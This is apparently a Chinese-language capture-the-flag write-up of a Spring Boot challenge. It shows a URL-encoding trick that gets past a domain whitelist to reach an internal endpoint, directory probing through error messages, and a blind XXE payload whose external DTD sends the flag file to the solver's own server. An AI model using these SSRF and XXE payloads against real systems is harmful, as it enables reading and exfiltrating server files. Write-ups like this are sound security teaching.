http://121.36.145.157:8088/
主页面
<!DOCTYPE html>
<html>
<head>
<meta charset="UTF-8">
<title>test</title>
</head>
<body>
<img src="/getimage?url=https://bbs.pediy.com/upload/attach/202009/236762_Y76C73KQC7MG83G.jpg">
<!--测试加载配置文件 /loadConfig?url=x.xml-->
</body>
</html>
http://121.36.145.157:8088/getimage?url=
返回指定url的内容
illegal url! ^(http|https):\\/\\/[^?#\\/]*\\.pediy\\.com\\/.*
http://121.36.145.157:8088/loadConfig?url=
加载指定url的xml
not allow ip
尝试添加x-forwarded-for: 127.0.0.1, 无效
构造url绕过正则匹配
http://121.36.145.157:8088/getimage?url=http://127.0.0.1%253A8088%2523.pediy.com/loadConfig?url=
org.springframework.beans.factory.BeanDefinitionStoreException: Unable to determine validation mode for [file [/]]: an error occurred whilst reading from the InputStream.; nested exception is java.io.IOException: Is a directory
at vip.xcao.demo.IndexController.config(IndexController.java:40)
...
org.springframework.beans.factory.xml.XmlBeanDefinitionReader.loadBeanDefinitions(XmlBeanDefinitionReader.java:310)
...
at org.springframework.context.support.FileSystemXmlApplicationContext.<init>(FileSystemXmlApplicationContext.java:85)
at vip.xcao.demo.IndexController.config(IndexController.java:34)
有返回错误信息, 这里url可以是正则表达式(AntPathMatcher)
url=/etc/passwd 本地文件
url=http://mysite.xml 外部URL
url=/* 匹配任意文件
url=classpath:/**/flag.txt 匹配flag.txt结尾的文件
根据返回的错误信息, 可以实现目录/文件探测, 得到感兴趣的文件路径
/home/vip-demo-0.0.1-SNAPSHOT.jar
classpath:application.properties
classpath:flag.txt
classpath:templates/config.ftl
classpath:templates/index.ftl
classpath:templates/testdata.ftl
classpath:vip/xcao/demo/ImageResourceController.class
classpath:vip/xcao/demo/IndexController.class
classpath:vip/xcao/demo/VipDemoApplication.class
通过BlindXXE实现利用
http://121.36.145.157:8088/getimage?url=http://127.0.0.1%253A8088%2523.pediy.com/loadConfig?url=http://mysite/xml.xml
http://mysite/xml.xml
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE root[
<!ENTITY % file SYSTEM "classpath:///flag.txt">
<!ENTITY % remote SYSTEM "http://mysite/xml.dtd">
%remote;
%all;
]>
<root>&send;</root>
http://mysite/xml.dtd
<!ELEMENT root (#PCDATA)>
<!ENTITY % all "<!ENTITY send SYSTEM 'http://mysite/%file;'>">
在自己的http服务器查看日志, 得到flag
GET /xml.xml
GET /xml.dtd
GET /flag{congratulations-Path-the-spring-boot}
二进制系列之Pwn篇
最后于 2020-11-19 11:38
被风间仁编辑
，原因：
涨姿势了
